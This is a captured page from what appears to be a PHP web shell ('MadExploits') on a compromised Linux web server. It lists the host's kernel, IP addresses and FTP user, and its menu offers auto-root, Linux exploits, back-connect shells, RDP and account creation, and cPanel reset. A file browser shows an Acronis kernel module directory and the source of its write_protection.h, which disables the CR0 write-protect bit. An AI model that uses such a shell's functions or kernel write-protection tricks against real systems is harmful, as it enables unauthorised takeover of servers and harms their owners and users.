Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
src /
file_protector-1.1-1553 /
[ HOME SHELL ]
Name
Size
Permission
Action
common
[ DIR ]
drwxr-xr-x
ftrace_hooks
[ DIR ]
drwxr-xr-x
lsm_hooks
[ DIR ]
drwxr-xr-x
syscall_hooks
[ DIR ]
drwxr-xr-x
transport
[ DIR ]
drwxr-xr-x
Kbuild
9.27
KB
-rw-r--r--
Makefile
2.23
KB
-rw-r--r--
compat.c
6.18
KB
-rw-r--r--
compat.h
10.94
KB
-rw-r--r--
debug.h
3.56
KB
-rw-r--r--
dkms.conf
146
B
-rw-r--r--
file_contexts.c
41.04
KB
-rw-r--r--
file_contexts.h
2.51
KB
-rw-r--r--
file_contexts_priv.h
4.92
KB
-rw-r--r--
file_handle_tools.h
2.15
KB
-rw-r--r--
file_key_tools.h
869
B
-rw-r--r--
file_path_tools.h
2.09
KB
-rw-r--r--
hashtable_compat.h
2.45
KB
-rw-r--r--
hook_trampoline_common.h
4.29
KB
-rw-r--r--
interval_tree.h
779
B
-rw-r--r--
memory.h
1.37
KB
-rw-r--r--
module.c
1.86
KB
-rw-r--r--
module_ref.h
421
B
-rw-r--r--
module_rundown_protection.c
3.64
KB
-rw-r--r--
module_rundown_protection.h
743
B
-rw-r--r--
path_tools.h
4.42
KB
-rw-r--r--
rundown_protection.c
4.2
KB
-rw-r--r--
rundown_protection.h
2.83
KB
-rw-r--r--
si_common.h
3.93
KB
-rw-r--r--
si_fp_properties.h
858
B
-rw-r--r--
si_fp_properties_x.h
15.41
KB
-rw-r--r--
si_fp_value_types.h
515
B
-rw-r--r--
si_fp_value_types_x.h
1.25
KB
-rw-r--r--
si_size.h
4.15
KB
-rw-r--r--
si_templates.h
2.29
KB
-rw-r--r--
si_writer.h
6.48
KB
-rw-r--r--
si_writer_common.h
6.39
KB
-rw-r--r--
stringify.h
261
B
-rw-r--r--
task_info_map.c
16.45
KB
-rw-r--r--
task_info_map.h
6.24
KB
-rw-r--r--
task_tools.h
1.34
KB
-rw-r--r--
tracepoints.c
3.58
KB
-rw-r--r--
tracepoints.h
299
B
-rw-r--r--
write_protection.h
1.04
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : write_protection.h
/** @file write_protection.h @brief Disable/Enable write protection @details Copyright (c) 2024 Acronis International GmbH @author Denis Kopyrin (Denis.Kopyrin@acronis.com) @since $Id: $ */ #pragma once #include "compat.h" // On 5.3.0 using the legal 'write_cp0' causes panic because WP is not disabled. // So let's just use out own 'write_cp0' that avoid silly checks. static inline void wp_cr0(unsigned long cr0) { #ifndef KERNEL_MOCK // cr0 is protected register in userspace __asm__ __volatile__ ("mov %0, %%cr0": "+r"(cr0)); #else gCR0 = cr0; #endif } static inline unsigned long disable_write_protect(void) { unsigned long cr0 = read_cr0(); DPRINTF("cr0=%lX WP=%lX", cr0, (unsigned long)X86_CR0_WP); if (cr0 & X86_CR0_WP) { wp_cr0(cr0 & ~X86_CR0_WP); } return cr0; } static inline void restore_write_protect(unsigned long saved_cr0) { unsigned long cr0 = read_cr0(); DPRINTF("cr0=%lX WP=%lX", cr0, (unsigned long)X86_CR0_WP); // restore WP-bit of cr0 to pre-disable state wp_cr0((cr0 & ~X86_CR0_WP) | (saved_cr0 & X86_CR0_WP)); }
Close